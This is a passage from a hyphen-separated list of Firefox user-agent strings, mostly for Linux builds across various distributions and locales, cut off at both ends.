i686; zh-TW; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.8.1) Gecko/20061010 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.04 (hardy) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux ia64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux MIPS32 1074Kf CPS QuadCore; en-US; rv:1.9.2.13) Gecko/20110103 Fedora/3.6.13-1.fc14 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux sparc64; en-US; rv:1.8.1.17) Gecko/20081108 Firefox/2.0.0.17 -Mozilla/5.0 (X11; U; Linux x64_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.7) Gecko/20100106 Ubuntu/9.10 (karmic) Firefox/3.5.7 -Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; de-AT; rv:1.8.0.2) Gecko/20060422 Firefox/1.5.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; de-DE; rv:1.8.1.6) Gecko/20070802 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-6.1 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.11) Gecko/2009070611 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-0.1 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008090713 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.7) Gecko/2009030620 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.1.10) Gecko/20100506 SUSE/3.5.10-0.1.1 Firefox/3.5.10 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.3) Gecko/20100401 SUSE/3.6.3-1.1 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2) Gecko/20100308 Ubuntu/10.04 (lucid) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; el-GR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-0.1 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 FirePHP/0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 FirePHP/0.1.1.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.5) Gecko/2008122010 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc9 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 FirePHP/0.2.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.2.13) Gecko/20101206 Red Hat/3.6-2.el5 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.2.13) Gecko/20101206 Ubuntu/9.10 (karmic) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-NZ; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) Gecko Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.10) Gecko/20050724 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051127 Firefox/1.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051218 Firefox/1.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20060202 CentOS/1.0.7-1.4.3.centos4 Firefox/1.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050405 Firefox/1.0 (Ubuntu package 1.0.2) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.10) Gecko/20070409 CentOS/1.5.0.10-2.el5.centos Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.12) Gecko/20070530 Fedora/1.5.0.12-1.fc6 Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.12) Gecko/20070718 Red Hat/1.5.0.12-3.el5 Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.12) Gecko/20080419 CentOS/1.5.0.12-0.15.el4.centos Firefox/1.5.0.12 pango-text -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.3) Gecko/20060522 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.5) Gecko/20060911 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060911 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060919 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060924 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.9) Gecko/20070126 Ubuntu/dapper-security Firefox/1.5.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.10) Gecko/20061201 Firefox/2.0.0.10 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20070914 Mandriva/2.0.0.11-1.1mdv2008.0 (2008.0) Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20071201 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080129 Firefox/2.0.0.8 (Debian-2.0.0.12-1) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-0.1 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080214 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.13) Gecko/20080208 Mandriva/2.0.0.13-1mdv2008.1 (2008.1) Firefox/2.0.0.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.15) Gecko/20080702 Ubuntu/8.04 (hardy) Firefox/2.0.0.15 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.16) Gecko/20080718 Ubuntu/8.04 (hardy) Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.16) Gecko/20080719 Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.18) Gecko/20081112 Fedora/2.0.0.18-1.fc8 Firefox/2.0.0.18 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.18) Gecko/20081113 Ubuntu/8.04 (hardy) Firefox/2.0.0.18 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.19) Gecko/20081213 SUSE/2.0.0.19-0.1 Firefox/2.0.0.19 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.3 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070322 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070324 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070415 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070529 SUSE/2.0.0.4-6.1 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070604 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070627 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.7) Gecko/20070918 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071015 SUSE/2.0.0.8-1.1 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux x86-64; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061023 SUSE/2.0-37 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061122 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061128 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061202 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8) Gecko/20051201 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8) Gecko/20051212 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009060309 Linux Mint/7 (Gloria) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061417 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009070612 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.16) Gecko/2009121609 Firefox/3.0.6 (Windows NT 5.1) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.17) Gecko/2010011010 Mandriva/1.9.0.17-0.1mdv2009.1 (2009.1) Firefox/3.0.17 GTB6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008072610 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008072820 Kubuntu/8.04 (hardy) Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008110312 Gentoo Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 (Linux Mint) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.4) Gecko/2008120512 Gentoo Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121806 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121911 CentOS/3.0.5-1.el5.centos Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122010 Firefox/2.0.0.3 (Debian-3.0.5-1) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122014 CentOS/3.0.5-1.el4.centos Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122120 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122406 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-1.4 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020407 Firefox/3.0.4 (Debian-3.0.6-1) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020519 Ubuntu/9.04 (jaunty) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2010012717 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 GTB5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030719 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030810 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva/1.9.0.7-0.1mdv2009.0 (2009.0) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031802 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032319 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032606 Red Hat/3.0.7-1.el5 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1.1 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032713 Ubuntu/9.04 (jaunty) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032908 Gentoo Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009040312 Gentoo Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Linux Mint/7 (Gloria) Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Firefox/3.5.2 Slackware -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Slackware Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090914 Slackware/13.0_stable Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091114 Gentoo Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.6) Gecko/20100117 Gentoo Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100318 Gentoo Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8pre) Gecko/20091227 Ubuntu/9.10 (karmic) Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090312 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 Fedora/3.1-0.11.beta3.fc11 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 GNU/Linux/x86_64 Firefox/3.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1) Gecko/20090630 Firefox/3.5 GTB6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Gentoo Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Red Hat/3.6-3.el4 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101219 Gentoo Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101223 Gentoo Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.20) Gecko/20110804 Red Hat/3.6-2.el5 Firefox/3.6.20 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100524 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.4) Gecko/20100614 Ubuntu/10.04 (lucid) Firefox/3.6.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100723 Fedora/3.6.7-1.fc13 Firefox/3.6.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100723 SUSE/3.6.8-0.1.1 Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090405 Firefox/3.6a1pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090428 Firefox/3.6a1pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100130 Gentoo Firefox/3.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100222 Ubuntu/10.04 (lucid) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100305 Gentoo Firefox/3.5.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9a1) Gecko/20060112 Firefox/1.6a1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008011321 Firefox/3.0b3pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008020509 Firefox/3.0b3pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008031318 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008040813 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008040514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008041816 Fedora/3.0-0.55.beta5.fc9 Firefox/3.0b5 -Mozilla/5.0 (X11; 